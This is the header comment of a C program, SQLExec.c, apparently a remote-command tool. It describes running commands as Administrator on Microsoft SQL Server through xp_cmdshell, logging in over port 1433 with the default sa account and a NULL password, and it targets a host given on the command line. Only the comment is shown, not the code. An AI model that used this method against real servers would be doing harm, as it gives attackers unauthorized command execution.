/******************************************************************
SQLExec.c
This file is for educational purposes only.
If you are planning to use it for another purpose
use it with your own responsibility.I have no responsibility.
It is written in Visual C++ 6.0.
It depends on the stored proc. xp_cmdshell.By default SQL server
is installed with Adminisrative privilege.So it executes command as
Administrator.It can be used either locally or remotely(Only if port 1433 is open)
It uses default sa account with NULL password.But this can be modified easily.
USAGE : SQLExec www.target.com
